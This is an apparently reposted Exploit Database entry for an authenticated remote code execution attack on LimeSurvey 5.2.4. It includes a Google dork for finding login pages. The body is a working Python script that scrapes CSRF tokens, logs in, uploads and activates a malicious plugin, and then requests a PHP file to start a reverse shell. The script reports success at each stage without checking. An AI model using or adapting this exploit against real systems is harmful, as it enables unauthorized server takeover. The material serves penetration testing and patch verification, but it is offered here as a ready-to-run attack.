LimeSurvey 5.2.4 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 16 阅读

• 作者： Y1LD1R1M
  日期： 2021-12-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50573/

• # Exploit Title: LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)
  # Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
  # Date: 05/12/2021
  # Exploit Author: Y1LD1R1M
  # Vendor Homepage: https://www.limesurvey.org/
  # Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
  # Version: 5.2.x
  # Tested on: Kali Linux 2021.3
  # Reference: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
  
  #!/usr/bin/python
  # -*- coding: utf-8 -*-
  
  
  import requests
  import sys
  import warnings
  from bs4 import BeautifulSoup
  
  warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
  print("_______________LimeSurvey RCE_______________")
  print("")
  print("")
  print("Usage: python exploit.py URL username password port")
  print("Example: python exploit.py http://192.26.26.128 admin password 80")
  print("")
  print("")
  print("== ██╗ ██╗ ██╗██╗ ██████╗██╗██████╗██╗███╗ ███╗ ==")
  print("== ╚██╗ ██╔╝███║██║ ██╔══██╗███║██╔══██╗███║████╗ ████║ ==")
  print("==╚████╔╝ ╚██║██║ ██║██║╚██║██████╔╝╚██║██╔████╔██║ ==")
  print("== ╚██╔╝ ██║██║ ██║██║ ██║██╔══██╗ ██║██║╚██╔╝██║ ==")
  print("==██║██║███████╗██████╔╝ ██║██║██║ ██║██║ ╚═╝ ██║ ==")
  print("==╚═╝╚═╝╚══════╝╚═════╝╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ==")
  print("")
  print("")
  url = sys.argv[1]
  username = sys.argv[2]
  password = sys.argv[3]
  port = sys.argv[4]
  
  req = requests.session()
  print("[+] Retrieving CSRF token...")
  loginPage = req.get(url+"/index.php/admin/authentication/sa/login")
  response = loginPage.text
  s = BeautifulSoup(response, 'html.parser')
  CSRF_token = s.findAll('input')[0].get("value")
  print(CSRF_token)
  print("[+] Sending Login Request...")
  
  login_creds = {
  "user": username,
  "password": password,
  "authMethod": "Authdb",
  "loginlang":"default",
  "action":"login",
  "width":"1581",
  "login_submit": "login",
  "YII_CSRF_TOKEN": CSRF_token
  }
  print("[+]Login Successful")
  print("")
  print("[+] Upload Plugin Request...")
  print("[+] Retrieving CSRF token...")
  filehandle = open("/root/limesurvey/plugin/Y1LD1R1M.zip",mode = "rb") # CHANGE THIS
  login = req.post(url+"/index.php/admin/authentication/sa/login" ,data=login_creds)
  UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
  response = UploadPage.text
  s = BeautifulSoup(response, 'html.parser')
  CSRF_token2 = s.findAll('input')[0].get("value")
  print(CSRF_token2)
  Upload_creds = {
  "YII_CSRF_TOKEN":CSRF_token2,
  "lid":"$lid",
  "action": "templateupload"
  }
  file_upload= req.post(url+"/index.php/admin/pluginmanager?sa=upload",files = {'the_file':filehandle},data=Upload_creds)
  UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm")
  response = UploadPage.text
  print("[+] Plugin Uploaded Successfully")
  print("")
  print("[+] Install Plugin Request...")
  print("[+] Retrieving CSRF token...")
  
  InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin")
  response = InstallPage.text
  s = BeautifulSoup(response, 'html.parser')
  CSRF_token3 = s.findAll('input')[0].get("value")
  print(CSRF_token3)
  Install_creds = {
  "YII_CSRF_TOKEN":CSRF_token3,
  "isUpdate": "false"
  }
  file_install= req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin",data=Install_creds)
  print("[+] Plugin Installed Successfully")
  print("")
  print("[+] Activate Plugin Request...")
  print("[+] Retrieving CSRF token...")
  ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate")
  response = ActivatePage.text
  s = BeautifulSoup(response, 'html.parser')
  CSRF_token4 = s.findAll('input')[0].get("value")
  print(CSRF_token4)
  Activate_creds = {
  "YII_CSRF_TOKEN":CSRF_token4,
  "pluginId": "1" # CHANGE THIS
  }
  file_activate= req.post(url+"/index.php/admin/pluginmanager?sa=activate",data=Activate_creds) 
  print("[+] Plugin Activated Successfully")
  print("")
  print("[+] Reverse Shell Starting, Check Your Connection :)")
  shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THIS